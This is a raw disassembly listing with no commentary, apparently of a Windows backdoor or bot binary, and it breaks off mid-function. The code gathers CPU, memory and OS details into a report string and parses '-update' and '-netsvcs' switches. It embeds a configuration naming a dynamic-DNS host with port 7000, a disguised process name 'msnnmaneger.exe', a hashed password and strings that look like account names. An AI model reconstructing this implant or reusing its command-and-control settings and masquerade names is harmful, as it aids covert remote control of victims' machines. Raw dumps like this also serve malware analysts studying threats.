push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017F3
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_406890 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BA0 proc near ; CODE XREF: sub_4015DCj
mov eax, ecx
mov dword ptr [eax], offset off_43E008
mov dword ptr [eax+110h], 0
retn
sub_406BA0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406BD0: ; CODE XREF: ___:00401F8Cj
push esi
mov esi, ecx
call sub_40143D
test byte ptr [esp+8], 1
jz short loc_406BE8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406BE8: ; CODE XREF: ___:00406BDDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C00 proc near ; CODE XREF: sub_40143Dj
mov dword ptr [ecx], offset off_43E008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C17
push ecx
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
locret_406C17: ; CODE XREF: sub_406C00+Ej
retn
sub_406C00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_406C30 proc near ; CODE XREF: sub_401384j
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C30
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406C61
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C61: ; CODE XREF: sub_406C30+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_4367FA
sub_406C30 endp
; ---------------------------------------------------------------------------
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_4367FA
; ---------------------------------------------------------------------------
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_50FAF4
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_443600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp ; strtok
add esp, 10h
mov [esp+58h], eax
lea esi, [esp+5Ch]
mov edi, 0FFh
loc_406D12: ; CODE XREF: ___:00406D24j
push offset asc_443600 ; " "
push 0
call ebp ; strtok
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D12
mov eax, [esp+58h]
xor ecx, ecx
cmp eax, ecx
jz loc_406F18
lea ebp, [esp+58h]
loc_406D38: ; CODE XREF: ___:00406F10j
mov edi, [ebp+0]
mov esi, offset dword_4437EC
mov eax, edi
loc_406D42: ; CODE XREF: ___:00406D60j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D66
test cl, cl
jz short loc_406D62
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D66
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D42
loc_406D62: ; CODE XREF: ___:00406D4Cj
xor eax, eax
jmp short loc_406D6B
; ---------------------------------------------------------------------------
loc_406D66: ; CODE XREF: ___:00406D48j
; ___:00406D56j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406D6B: ; CODE XREF: ___:00406D64j
test eax, eax
jz loc_406F08
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406D7A: ; CODE XREF: ___:00406D98j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D9E
test cl, cl
jz short loc_406D9A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D9E
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D7A
loc_406D9A: ; CODE XREF: ___:00406D84j
xor eax, eax
jmp short loc_406DA3
; ---------------------------------------------------------------------------
loc_406D9E: ; CODE XREF: ___:00406D80j
; ___:00406D8Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DA3: ; CODE XREF: ___:00406D9Cj
test eax, eax
jnz short loc_406DB0
mov byte ptr [ebx+9], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DB0: ; CODE XREF: ___:00406DA5j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406DB7: ; CODE XREF: ___:00406DD5j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DDB
test cl, cl
jz short loc_406DD7
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DB7
loc_406DD7: ; CODE XREF: ___:00406DC1j
xor eax, eax
jmp short loc_406DE0
; ---------------------------------------------------------------------------
loc_406DDB: ; CODE XREF: ___:00406DBDj
; ___:00406DCBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DE0: ; CODE XREF: ___:00406DD9j
test eax, eax
jnz short loc_406DED
mov byte ptr [ebx+0Ah], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DED: ; CODE XREF: ___:00406DE2j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406DF4: ; CODE XREF: ___:00406E12j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E18
test cl, cl
jz short loc_406E14
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DF4
loc_406E14: ; CODE XREF: ___:00406DFEj
xor eax, eax
jmp short loc_406E1D
; ---------------------------------------------------------------------------
loc_406E18: ; CODE XREF: ___:00406DFAj
; ___:00406E08j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E1D: ; CODE XREF: ___:00406E16j
test eax, eax
jnz loc_406F08
lea ecx, [esp+10h]
call sub_401424
mov eax, [esp+468h]
push offset aBai ; "-bai"
push eax
mov dword ptr [esp+468h], 0
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_406EF4
push eax
lea ecx, [esp+14h]
call sub_4015D7
push 1
push offset asc_443600 ; " "
lea ecx, [esp+30h]
push 1
push ecx
lea ecx, [esp+20h]
call sub_4011EA
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+464h], 1
call sub_4012EE
lea ecx, [esp+28h]
mov esi, eax
mov byte ptr [esp+460h], 0
call sub_401226
test esi, esi
jz short loc_406EF4
push 1
push offset asc_443600 ; " "
lea edx, [esp+48h]
push 1
push edx
lea ecx, [esp+20h]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+464h], 2
call sub_401681
push eax
lea eax, [ebx+0Ch]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea ecx, [esp+40h]
mov byte ptr [esp+460h], 0
call sub_401226
add ebp, 4
loc_406EF4: ; CODE XREF: ___:00406E51j
; ___:00406EA1j
lea ecx, [esp+10h]
mov dword ptr [esp+460h], 0FFFFFFFFh
call sub_401226
loc_406F08: ; CODE XREF: ___:00406D6Dj
; ___:00406DABj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D38
xor ecx, ecx
loc_406F18: ; CODE XREF: ___:00406D2Ej
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F25
mov [ebx+5], ecx
loc_406F25: ; CODE XREF: ___:00406F20j
cmp [ebx+5], ecx
jnz short loc_406F35
test al, al
jz short loc_406F35
mov dword ptr [ebx+5], 0Ah
loc_406F35: ; CODE XREF: ___:00406F28j
; ___:00406F2Cj
mov [ebx+5], ecx
mov ecx, [esp+44Ch]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407030 proc near ; CODE XREF: sub_40209Fj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407030
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_401564
sub_407030 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov dword ptr [esi], offset off_43E00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4070B0 proc near ; CODE XREF: sub_401591j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015D7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014E2
sub_4070B0 endp
; ---------------------------------------------------------------------------
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4070F0 proc near ; CODE XREF: sub_401AF0j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AC3
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401622
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jz short loc_40716B
mov edi, [esp+10h+arg_0]
loc_407133: ; CODE XREF: sub_4070F0+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_40173F
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_407175
call sub_401F0A
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jnz short loc_407133
loc_40716B: ; CODE XREF: sub_4070F0+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_407175: ; CODE XREF: sub_4070F0+5Aj
call sub_40173F
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_4070F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071C0 proc near ; CODE XREF: sub_4021F8j
xor al, al
retn 4
sub_4071C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4071E0 proc near ; CODE XREF: sub_401564j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
sub_4071E0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407220 proc near ; CODE XREF: sub_401622j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401A82
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407220 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407260 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407260 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407290 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021BC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
sub_407290 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072D0 proc near ; CODE XREF: sub_401AC3j
push esi
mov esi, ecx
call sub_401B63
mov eax, esi
pop esi
retn
sub_4072D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072F0 proc near ; CODE XREF: sub_40173Fj
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_4072F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407310 proc near ; CODE XREF: sub_401F0Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A82
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FA0
neg al
sbb eax, eax
inc eax
retn 4
sub_407340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407370 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C8A
mov edi, eax
push edi
call sub_401C58
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
sub_407370 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401C58
push edi
mov [eax], ebx
call sub_401C58
mov edi, [eax]
push edi
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_401672
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_402185
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407410 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019C9
sub_407410 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_407425
mov edi, esi
loc_407425: ; CODE XREF: ___:00407421j
push esi
call sub_401A82
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40743A
mov edi, esi
loc_40743A: ; CODE XREF: ___:00407436j
push esi
call sub_401C58
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407460 proc near ; CODE XREF: sub_401A82j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_407460 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407480 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_407480 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074A0 proc near ; CODE XREF: sub_401B63j
mov eax, ecx
retn
sub_4074A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074C0 proc near ; CODE XREF: sub_402185j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_4074C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401FA0j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407520 proc near ; CODE XREF: sub_401C58j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407540 proc near ; CODE XREF: sub_4019C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_407540 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401672j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_407570 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075A0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_401C8Aj
mov eax, [ecx]
retn
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4075E0 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4075EA
xor eax, eax
loc_4075EA: ; CODE XREF: sub_4075E0+6j
push eax
call sub_4367FA
sub_4075E0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40762B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40762B: ; CODE XREF: sub_407610+11j
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407640 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407660 proc near ; CODE XREF: sub_401B2Cj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407660
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017E4
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_448D16
call sub_401B5E
sub_407660 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4076F0 proc near ; CODE XREF: sub_401CC1j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076F0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017E4
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_448D16
call sub_401B5E
sub_4076F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov byte ptr [esp+8], 0
call sub_401226
lea ecx, [esp+2Ch]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407790 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_114 = byte ptr -114h
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407790
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_174]
call sub_401424
lea ecx, [esp+35Ch+var_1A4]
mov [esp+35Ch+var_4], 0
call sub_401424
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 1
call sub_401424
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 2
call sub_401424
lea ecx, [esp+35Ch+var_2DC]
mov byte ptr [esp+35Ch+var_4], 3
call sub_401424
lea ecx, [esp+35Ch+var_2C4]
mov byte ptr [esp+35Ch+var_4], 4
call sub_401424
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 5
call sub_401424
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 6
call sub_401424
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 7
call sub_401424
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_401424
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_401424
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_401424
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_401424
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_401424
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_401424
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_401424
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_401424
lea ecx, [esp+35Ch+var_18C]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_401424
lea ecx, [esp+35Ch+var_144]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_401424
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_1BC]
call sub_401424
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_401424
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_401424
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_401424
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_401424
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_401424
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_401424
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_401424
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_401424
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_401424
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_401424
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_401424
mov bl, 1Eh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_174]
mov byte ptr [esp+360h+var_4], bl
call sub_401A87
push offset a7000 ; "7000"
lea ecx, [esp+360h+var_1A4]
call sub_401A87
push offset aSaad ; "saad"
lea ecx, [esp+360h+var_2AC]
call sub_401A87
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_1D4]
call sub_401A87
push offset a7000 ; "7000"
lea ecx, [esp+360h+var_204]
call sub_401A87
push offset aSaad ; "saad"
lea ecx, [esp+360h+var_1EC]
call sub_401A87
push offset aScop ; "#scop#"
lea ecx, [esp+360h+var_2DC]
call sub_401A87
push offset aS_1 ; "#s"
lea ecx, [esp+360h+var_27C]
call sub_401A87
push offset aServec ; "servec"
lea ecx, [esp+360h+var_2C4]
call sub_401A87
push offset aMsnnmaneger_ex ; "msnnmaneger.exe"
lea ecx, [esp+360h+var_234]
call sub_401A87
push offset aWintwir ; "wintwir"
lea ecx, [esp+360h+var_264]
call sub_401A87
push offset aTahy ; "TAHY-"
lea ecx, [esp+360h+var_2F4]
call sub_401A87
push offset aAbosal7 ; "abosal7"
lea ecx, [esp+360h+var_294]
call sub_401A87
push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
lea ecx, [esp+360h+var_15C]
call sub_401A87
push offset aAdmin_com ; "admin.com"
lea ecx, [esp+360h+var_114]
call sub_401A87
push offset aTsinternetuser ; "TsInternetUser"
lea ecx, [esp+360h+var_18C]
call sub_401A87
push offset aHotfix ; "hotfix"
